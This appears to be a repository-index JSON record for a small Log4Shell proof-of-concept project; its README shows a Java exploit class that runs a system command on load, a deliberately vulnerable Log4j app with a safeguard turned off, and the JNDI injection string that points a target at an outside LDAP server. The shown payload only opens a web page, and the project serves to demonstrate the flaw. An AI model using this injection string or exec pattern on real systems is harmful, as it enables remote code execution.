{"id":18350978,"url":"https://github.com/nuriofernandez/simple-log4shell-ldap-server","last_synced_at":"2025-10-09T04:42:09.485Z","repository":{"id":152171004,"uuid":"442877834","full_name":"nuriofernandez/simple-log4shell-ldap-server","owner":"nuriofernandez","description":"Simple proof of concept of the famous Java's Log4Shell vulnerability 💣","archived":false,"fork":false,"pushed_at":"2022-08-10T16:04:53.000Z","size":10,"stargazers_count":1,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-04-10T00:44:51.406Z","etag":null,"topics":["expoit","hacking","java","log4shell","poo","proof-of-concept","vulnerability"],"latest_commit_sha":null,"homepage":"","language":"Java","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nuriofernandez.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2021-12-29T20:02:10.000Z","updated_at":"2022-10-01T22:39:24.000Z","dependencies_parsed_at":"2024-01-03T14:50:32.093Z","dependency_job_id":null,"html_url":"https://github.com/nuriofernandez/simple-log4shell-ldap-server","commit_stats":null,"previous_names":["nuriofernandez/simple-log4shell-ldap-server"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/nuriofernandez/simple-log4shell-ldap-server","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nuriofernandez%2Fsimple-log4shell-ldap-server","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nuriofernandez%2Fsimple-log4shell-ldap-server/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nuriofernandez%2Fsimple-log4shell-ldap-server/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nuriofernandez%2Fsimple-log4shell-ldap-server/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nuriofernandez","download_url":"https://codeload.github.com/nuriofernandez/simple-log4shell-ldap-server/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nuriofernandez%2Fsimple-log4shell-ldap-server/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":279000706,"owners_count":26082921,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-09T02:00:07.460Z","response_time":59,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["expoit","hacking","java","log4shell","poo","proof-of-concept","vulnerability"],"created_at":"2024-11-05T21:29:03.176Z","updated_at":"2025-10-09T04:42:09.438Z","avatar_url":"https://github.com/nuriofernandez.png","language":"Java","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Simple Log4Shell LDAP server\n\n## Exploit class to execute it remotly\n```java\npublic class Magic {\n  static {\n    try {\n      // Execute the `open` command to open a funny wikipedia link.\n      String[] cmds = { \"open\", \"https://en.wikipedia.org/wiki/Ostrich_algorithm\" };\n      Runtime.getRuntime().exec(cmds).waitFor();\n    } catch (Exception e) {\n      e.printStackTrace();\n    } \n  }\n}\n```\n\n## Minimum vulnerable application\n```java\npublic class Log4j {\n\n    private static final Logger logger = LogManager.getLogger(Log4j.class);\n\n    public static void main(String[] args) {\n        // Log4Shell will not be able to load remote code from untrusted code bases since the Java 8 version.\n        // This statement will disable that security path to be able to test it on Java 8 and higher.\n        System.setProperty(\"com.sun.jndi.ldap.object.trustURLCodebase\", \"true\");\n\n        Scanner scanner = new Scanner(System.in);\n        while (true) {\n            System.out.println(\"Introduce a message to log:\");\n            String line = scanner.nextLine();\n            logger.error(line);\n        }\n    }\n\n}\n```\n\n## Vulnerable message example\n\nYou will need to replace the `nurio.me` domain to your LDAP server, for local development it could be `localhost`.\n```\n${jndi:ldap://nurio.me:1389/a}\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fnuriofernandez%2Fsimple-log4shell-ldap-server","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fnuriofernandez%2Fsimple-log4shell-ldap-server","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fnuriofernandez%2Fsimple-log4shell-ldap-server/lists"}